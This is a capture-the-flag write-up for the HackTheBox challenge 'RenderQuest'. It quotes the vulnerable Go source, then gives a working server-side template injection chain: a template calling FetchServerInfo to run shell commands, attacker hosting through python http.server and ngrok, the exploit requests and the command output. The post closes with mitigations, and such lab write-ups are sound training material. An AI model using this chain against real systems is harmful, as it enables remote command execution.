Home HackTheBox - RenderQuest
Post
Cancel

HackTheBox - RenderQuest

This is a fairly new challenge at the time of creating this write-up with only around 200 solves and no active write-ups.

The challenge starts of with a webpage that renders template (.tpl) files locally and remote.

homepage

Reconnaissance

We get the go source code, there are some attack vectors for SSRF and path traversal but nothing exploitable. We notice this code that seems to execute code from remote templates.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
	if remote == "true" {
		tmplFile, err = readRemoteFile(page)

		if err != nil {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}
	} else {
		tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")

		if err != nil {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}
	}

	tmpl, err := template.New("page").Parse(tmplFile)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	err = tmpl.Execute(w, reqData)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

We also notice that there is a method that executes system commands.

1
2
3
4
5
6
7
func (p RequestData) FetchServerInfo(command string) string {
	out, err := exec.Command("sh", "-c", command).Output()
	if err != nil {
		return ""
	}
	return string(out)
}

Foothold

We can create a template file that executes commands on the server by using go templating code.

To identify that the backend is using the Go template engine, you can utilize the following payloads:

  • {{ . }}: Represents the data structure passed as input to the template.
    • If the passed data is an object with an attribute, you can use {{ .Attribute_name_here }} to leak it.
  • {{ printf "%s" "printing text" }}: you can also call print or other methods.

(source)

In this case, we can call the method that allows us to execute commands on the server via {{.FetchServerInfo "command_here"}}.

First, we need to create a template file that we will serve by setting up our server.

1
2
$ cat exploit.tpl 
{{.FetchServerInfo "ls -lah"}}

We set up server in the directory where the template file is located.

1
$ python3 -m http.server 80 

And set up ngrok for outside access as we are not connected through a vpn.

1
$ Downloads/ngrok http 80 

When sending a GET request to server this remote template file.

1
2
GET /render?use_remote=true&page=https://c608-2a02-a03f-e416-1500-b919-ee88-9220-9af4.ngrok-free.app/exploit.tpl HTTP/1.1
Host: 206.189.24.162:30304

We get back the server directory with the flag name.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
total 80K    
drwxr-xr-x    1 root     root        4.0K Sep 27 14:40 .
drwxr-xr-x    1 root     root        4.0K Sep 27 14:40 ..
drwxr-xr-x    1 root     root        4.0K Sep 12 08:53 app
drwxr-xr-x    2 root     root        4.0K Aug  7 13:09 bin
drwxr-xr-x    5 root     root         360 Sep 27 14:40 dev
-rw-------    1 root     root         216 Sep 12 08:50 entrypoint.sh
drwxr-xr-x    1 root     root        4.0K Sep 27 14:40 etc
-rw-r--r--    1 root     root          40 Sep 12 08:50 flag5e**XXXX**f2a.txt
drwxr-xr-x    2 root     root        4.0K Aug  7 13:09 home
drwxr-xr-x    1 root     root        4.0K Aug  7 13:09 lib
drwxr-xr-x    5 root     root        4.0K Aug  7 13:09 media
drwxr-xr-x    2 root     root        4.0K Aug  7 13:09 mnt
drwxr-xr-x    2 root     root        4.0K Aug  7 13:09 opt
dr-xr-xr-x  284 root     root           0 Sep 27 14:40 proc
drwx------    1 root     root        4.0K Sep 12 08:52 root
drwxr-xr-x    1 root     root        4.0K Sep 27 14:40 run
drwxr-xr-x    2 root     root        4.0K Aug  7 13:09 sbin
drwxr-xr-x    2 root     root        4.0K Sep 12 08:52 src
drwxr-xr-x    2 root     root        4.0K Aug  7 13:09 srv
dr-xr-xr-x   13 root     root           0 Sep 27 14:40 sys
drwxrwxrwt    1 root     root        4.0K Sep 27 14:40 tmp
drwxr-xr-x    1 root     root        4.0K Sep 12 08:52 usr
drwxr-xr-x   12 root     root        4.0K Aug  7 13:09 var

We can now send a request to read the flag content via {{.FetchServerInfo "cat /flag5e**XXXX**f2a.txt"}}.

1
2
{{.FetchServerInfo "cat /flag5e**XXXX**f2a.txt"}}
GET /render?use_remote=true&page=https://c608-2a02-a03f-e416-1500-b919-ee88-9220-9af4.ngrok-free.app/read_flag.tpl HTTP/1.1

We get the flag as response.

1
HTB{qu35t_**REDACTED**_t3mpl4t35!!}

Mitigations

Secure Execution of System Commands

Avoid using shell commands directly and instead, use functions that handle command execution securely.

Limit Remote Template Execution

Restrict the execution of remote templates to trusted and predefined sources. Implement an allowlist of allowed sources for remote templates to minimize the risk of malicious code injection.

Isolate the Execution Environment:

Run the application in a sandboxed environment to limit the potential damage of any successful attacks.

This post is licensed under CC BY 4.0 by the author.